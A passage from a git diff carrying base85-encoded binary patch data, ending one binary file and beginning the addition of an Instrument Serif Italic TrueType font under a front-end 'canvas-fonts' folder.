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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/InstrumentSerif-Italic.ttf b/skills/frontend-dev/canvas-fonts/InstrumentSerif-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..8fa958d9baf94bdf86c45d5340dc2ba171e2eb2c GIT binary patch literal 70868 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 